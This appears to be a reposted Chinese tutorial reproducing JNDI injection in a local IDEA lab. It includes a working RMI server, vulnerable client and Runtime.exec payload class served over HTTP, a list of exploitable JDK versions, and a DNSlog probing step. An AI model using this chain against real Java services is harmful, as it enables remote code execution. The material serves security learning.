JNDI注入原理及利用IDEA漏洞复现

news2024/11/16 7:27:00
🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!


目录

0x1 前言

0x2 JNDI简介

0x3 JNDI注入

0x4 JNDI注入漏洞复现

JNDI+RMI

1、基础环境

2、启动服务

3、代码详解

JNDI+LDAP

JNDI+DNS

0x5 总结

0x6 参考链接


0x1 前言

本篇文章我也是看过很多的博客写的,中间也遇到很多问题,JNDI注入漏洞的危害还是蛮高的。下面我们从RMI以及DNS协议进行详细的漏洞分析,其中漏洞的危害原因主要是lookup()函数可控,可以执行恶意的命令,从而造成恶意攻击。

0x2 JNDI简介

JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。

上面较官方说法,通俗的说就是若程序定义了 JDNI 中的接口,则就可以通过该接口 API 访问系统的 命令服务目录服务,如下图:

协议作用
RMIJAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象
DNS域名服务
CORBA公共对象请求代理体系结构

0x3 JNDI注入

JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数可控,攻击者就可以将恶意的 url 传入参数远程加载恶意载荷,造成注入攻击。

代码示例:

代码中定义了 uri 变量,uri 变量可控,并定义了一个 rmi 协议服务, rmi://127.0.0.1:1099/Exploit 为攻击者控制的链接,最后使用 lookup() 函数进行远程获取 Exploit 类(Exploit 类名为攻击者定义,不唯一),并执行它

package com.rmi.demo;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/Exploit";    // 指定查找的 uri 变量
        InitialContext initialContext = new InitialContext();// 得到初始目录环境的一个引用
        initialContext.lookup(uri); // 获取指定的远程对象

    }
}

具体攻击流程图:

JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:

协议JDK6JDK7JDK8JDK11
LADP6u211以下7u201以下8u191以下11.0.1以下
RMI6u132以下7u122以下8u113以下

0x4 JNDI注入漏洞复现

JNDI+RMI

1、基础环境

我们这里使用IDEA进行JNDI注入漏洞的复现,我们需要先下载JDK的环境,JDK7,8都可以,选择下载自己电脑的版本,因为我的电脑一直都是JDK8的 环境,所以就不下载演示了。

Java Archive Downloads - Java SE 7

判断自己的JDK环境版本

1、首先 IDEA 新建一个项目

maven一下,然后我这里的项目名称是:jndi_injection_demon,其中这里要注意的就是JDK的环境,选择我们开始下载的JDK环境即可。

2、在 /src/java 目录下创建一个包,我这里创建的包的名字是:jndi_rmi_injection

3、在创建的jndi_rmi_injection包里面,创建RMI 的服务端和客户端。

服务端(RMIServer.java)

package jndi_rmi_injection;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class RMIServer {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.createRegistry(7778);
        Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("RCE",wrapper);
    }

}

客户端(RMIClient.java) 客户端也是受害者

package jndi_rmi_injection;

import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIClient {
    public static void main(String[] args) throws NamingException{
        String uri = "rmi://127.0.0.1:7778/RCE";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(uri);
    }
}

HTTP 端恶意载荷(Calculator.java)代码

我们为了形象地演示出恶意命令被执行的样子,我们这里用弹出计算器来演示。其中windows的把cmd命令改成calc,如果是linux的话,改成gnome-calculator就可以了

public class Calculator {
    public Calculator() throws Exception {
        Runtime.getRuntime().exec("calc");
    }
}

2、启动服务

1、将 HTTP 端恶意载荷 Calculator.java,编译成 Calculator.class 文件

2、在 Calculator.class 目录下利用 Python 起一个临时的 WEB 服务放置恶意载荷,这里的端口必须要与 RMIServer.java 的 Reference 里面的链接端口一致

python -m http.server 8081

3、IDEA 将漏洞环境启动起来并实现攻击,顺序为先运行服务端,再起客户端

服务端启动:

客户端启动:

发现当我们把客户端也给启动后,计算器就跳出来了,说明cmd恶意命令已经执行成功了!

3、代码详解

InitialContext类

RMIClient.java代码分析

package jndi_rmi_injection;

import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIClient {
    public static void main(String[] args) throws NamingException{
        String uri = "dns://y9p1pr.dnslog.cn";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(uri);
    }
}

InitialContext 类用于读取 JNDI 的一些配置信息,内含对象和其在 JNDI 中的注册名称的映射信息。

我们这里直接找InitialContext 类的相关包,按住 ctrl + B 快捷键,就会看到下面的这个包,发现InitialContext 类继承了一个接口,我们再ctrl + B 快捷键,查看下Context接口。

我们可以看到lookup(String name) 获取 name 的数据,也就是客户端代码中的uri,这里的 uri 被定义为 rmi://127.0.0.1:7778/RCE 所以会通过 rmi 协议访问 127.0.0.1:7778/RCE

Reference 类

RMIServer.java代码分析

package jndi_rmi_injection;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class RMIServer {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.createRegistry(7778);
        Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("RCE",wrapper);
    }

}

reference 指定了一个 Calculator 类,于远程的 http://127.0.0.1:8081/ 服务端上,等待客户端的调用并实例化执行。

Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");

JNDI+LDAP

这里我就不进行演示了,大家可以参考这个博客:

JNDI注入原理及利用考究 - 先知社区

 

JNDI+DNS

通过上面我们可知 JNDI 注入可以利用 RMI 协议和LDAP 协议搭建服务然后执行命令,但有个不好的点就是会暴露自己的服务器 IP 。在没有确定存在漏洞前,直接在直接服务器上使用 RMI 或者 LDAP 去执行命令,通过日志可分析得到攻击者的服务器 IP,这样在没有获取成果的前提下还暴露了自己的服务器 IP,得不偿失。

为了解决这个问题,可以使用DNS 协议进行探测,通过 DNS 协议去探测是否真的存在漏洞,再去利用 RMI 或者 LDAP 去执行命令,避免过早暴露服务器 IP,这也是平常大多数人习惯使用 DNSLog 探测的原因之一,同样的 ldap 和 rmi 也可以使用 DNSLog 平台去探测。

我们使用RMI的客户端的漏洞代码即可,只需要把可变量uri修改成DNSlog网站的地址即可

package jndi_rmi_injection;

import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIClient {
    public static void main(String[] args) throws NamingException{
        String uri = "dns://y9p1pr.dnslog.cn";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(uri);
    }
}

然后运行RMI的客户端,再Refresh Record刷新记录,就可以看到有记录,那么就说明存在JNDI注入漏洞。

0x5 总结

我们在测试JNDI注入的时候,可以使用DNS协议的测试方法,利用dnslog网站的返回值,来判断是否存在JNDI注入。

JNDI漏洞的产生主要是 lookup() 的参数可控,攻击者在远程服务器上构造恶意的 Reference 类绑定在 RMIServerRegistry 里面,然后客户端调用 lookup() 函数里面的对象,远程类获取到 Reference 对象,客户端接收 Reference 对象后,寻找 Reference 中指定的类,若查找不到,则会在 Reference 中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行,从而达到 JNDI 注入攻击。

0x6 参考链接

1、https://xz.aliyun.com/t/12277?time__1311=mqmhD5YIOhOD%2FD0lbGkb28MDj2C%2BbeD&alichlgref=https%3A%2F%2Fwww.google.com%2F#toc-10

2、https://www.cnblogs.com/LittleHann/p/17768907.html#_lab2_2_1

3、https://www.cnblogs.com/0dot7/p/17259327.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1526811.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

VMware虚拟机Centos7硬盘扩容详细图文教程

这里写自定义目录标题 设置扩容空间容量10G为列子开机后输入df -h 查看磁盘空间运行fdisk -l,查看硬盘信息运行fdisk /dev/sda输入m,查看n为add new partition,输入n输入p ,p之后的东西都选择为默认再输入t,分区号根据…

洛谷-P1449 后缀表达式

目录 何为后缀表达式? 模拟过程 AC代码 采用STL的stack 题目链接:P1449 后缀表达式 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn) 何为后缀表达式? 那后缀表达式是怎么算的呢 那显然就需要引用最开始说的栈了 因为后缀表表达式本来就是栈…

HTML5+CSS3+JS小实例:全屏范围滑块

实例:全屏范围滑块 技术栈:HTML+CSS+JS 效果: 源码: 【HTML】 <!DOCTYPE html> <html lang="zh-CN"> <head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale…

零延迟轻量级网站指纹防御

文章信息 论文题目&#xff1a;Zero-delay Lightweight Defenses against Website Fingerprinting 期刊&#xff08;会议&#xff09;&#xff1a; 29th USENIX Security Symposium 时间&#xff1a;2020 级别&#xff1a;CCF A 文章链接&#xff1a;https://www.usenix.org/s…

PHP反序列化---字符串逃逸(增加/减少)

一、PHP反序列化逃逸--增加&#xff1a; 首先分析源码&#xff1a; <?php highlight_file(__FILE__); error_reporting(0); class A{public $v1 ls;public $v2 123;public function __construct($arga,$argc){$this->v1 $arga;$this->v2 $argc;} } $a $_GET[v…

一文了解如何做全基因集GSEA富集分析

原文链接:一文完成全基因集GSEA富集分析 本期内容 写在前面 我们前面分享过一文掌握单基因GSEA富集分析的教程,主要使用单基因的角度进行GSEA富集分析。 我们社群的同学咨询,全基因集的GSEA如何分析呢??其实,原理都是大同小异的,那么今天我们就简单的整理一下吧。 若…

PyTorch学习笔记之激活函数篇(二)

文章目录 2、Tanh函数2.1 公式2.2 对应的图像2.3 对应生成图像代码2.4 优点与不足2.5 torch.tanh()函数 2、Tanh函数 2.1 公式 Tanh函数的公式&#xff1a; f ( x ) e x − e − x e x e − x f(x)\frac{e^x-e^{-x}}{e^xe^{-x}} f(x)exe−xex−e−x​ Tanh函数的导函数&am…

Java实现定时发送邮件(基于Springboot工程)

1、功能概述&#xff1f; 1、在企业中有很多需要定时提醒的任务&#xff1a;如每天下午四点钟给第二天的值班人员发送值班消息&#xff1f;如提前一天给参与第二天会议的人员发送参会消息等。 2、这种定时提醒有很多方式如短信提醒、站内提醒等邮件提醒是其中较为方便且廉价的…

旅行社旅游线路预定管理系统asp.net

旅行社旅游线路预定管理系统 首页 国内游 境外游 旅游景点 新闻资讯 酒店信息―留言板 后台管理 后台管理导航菜单系统管理修改密码留言管理注册会员管理基础数据设置国别设置有份设地区设置 旅行社管理友情链接管理添加友情链接友情链接管理新闻资讯管理添加新闻资讯新闻资讯管…

10|代理(中):AgentExecutor究竟是怎样驱动模型和工具完成任务的?

LangChain 中的“代理”和“链”的差异究竟是什么&#xff1f;在链中&#xff0c;一系列操作被硬编码&#xff08;在代码中&#xff09;。在代理中&#xff0c;语言模型被用作推理引 擎来确定要采取哪些操作以及按什么顺序执行这些操作。 Agent 的关键组件 代理&#xff08…

静态综合实验

一&#xff0c;1.搭建拓扑结构并启动。 2.根据题意得该图需要14个网段&#xff0c;根据192.168.1.0/24划分子网段&#xff0c;如下&#xff1a; 划分完如图所示&#xff1a; 二、配置IP地址 R1路由器&#xff1a; 1.进入系统视图并改名. 2.接口配置IP地址&#xff1a…

Linux系统中安装Docker

用Linux既可以用虚拟机操作&#xff0c;也可以自己弄一个云服务器进行操作&#xff0c;两者没啥区别。 操作之前需要将用户等级升级到root级别&#xff0c;防止有些操作因为权限限制而不能操作。 安装docker非常简单&#xff0c;只需要一直按照下列命令顺序进行操作即可。 安装…

选Gitee还是GitHub?

2024年3月18日&#xff0c;周一晚上 我选择GitHub 因为GitHub可以无限创建仓库

clipboard好用的复制剪切库

clipboard是现代复制到剪贴板的工具&#xff0c;其 gzip 压缩后只有 3kb&#xff0c;能够减少选择文本的重复操作&#xff0c;点击按钮就可以复制指定内容&#xff0c;支持原生HTMLjs&#xff0c;vue3和vue2。使用方法参照官方文档&#xff0c;so easy&#xff01;&#xff01;…

数据结构(四)——串的模式匹配

4.2 串的模式匹配 4.2.1_朴素模式匹配算法 字符串模式匹配&#xff1a;在主串中找到与模式串相同的⼦串&#xff0c;并返回其所在位置 主串⻓度为n&#xff0c;模式串⻓度为 m 朴素模式匹配算法&#xff1a;将主串中所有⻓度为m的⼦串依次与模式串对⽐&#xff0c;直到找到⼀…

U盘变本地磁盘?数据恢复有妙招!

一、U盘异变本地磁盘现象 在日常工作和生活中&#xff0c;U盘作为便携式的存储设备&#xff0c;广受大家喜爱。然而&#xff0c;有时我们会遇到一个奇怪的现象&#xff1a;原本应该显示为可移动磁盘的U盘&#xff0c;在插入电脑后却变成了“本地磁盘”。这种情况不仅让人困惑&…

Android系统签名的制作与使用

目录 1. &#x1f4c2; 背景 2. &#x1f531; 制作Android系统签名 步骤一&#xff1a;找到platform.pk8和platform.x509.pem签名文件 步骤二&#xff1a;下载keytool-importkeypair签名工具 步骤三&#xff1a;使用签名文件和签名工具生成.jks签名文件 3. ✅ 使用Andro…

iPhone迎AI大革命:谷歌、OpenAI助苹果重塑智能巅峰

近日&#xff0c;有媒体报道称&#xff0c;苹果正积极寻求与谷歌和OpenAI展开合作&#xff0c;计划将这两家在全球人工智能领域具有领先地位的公司的大模型技术应用于iPhone的AI功能。这一合作将为iPhone带来革命性的智能体验&#xff0c;开启AI手机新篇章。 AI-321 | 专注于AI…

Linux-MDK can电机带导轨 C++封装

我使用的是MKS的52D can电机带导轨&#xff0c;现在我要根据电机说明书将运动指令封装&#xff0c;有一个限位开关&#xff0c; 闭合时高电平 滑块需要运动在限位开关左侧&#xff0c;所以限位归零的方向为顺时针 根据说明书&#xff0c;我要设置的命令应该是&#xff1a; ca…

【复现】【免费】基于多时间尺度滚动优化的多能源微网双层调度模型

目录 主要内容 部分代码 结果一览 1.原文结果 2.程序运行结果 下载链接 主要内容 该模型参考《Collaborative Autonomous Optimization of Interconnected Multi-Energy Systems with Two-Stage Transactive Control Framework》&#xff0c;主要解决的是一个…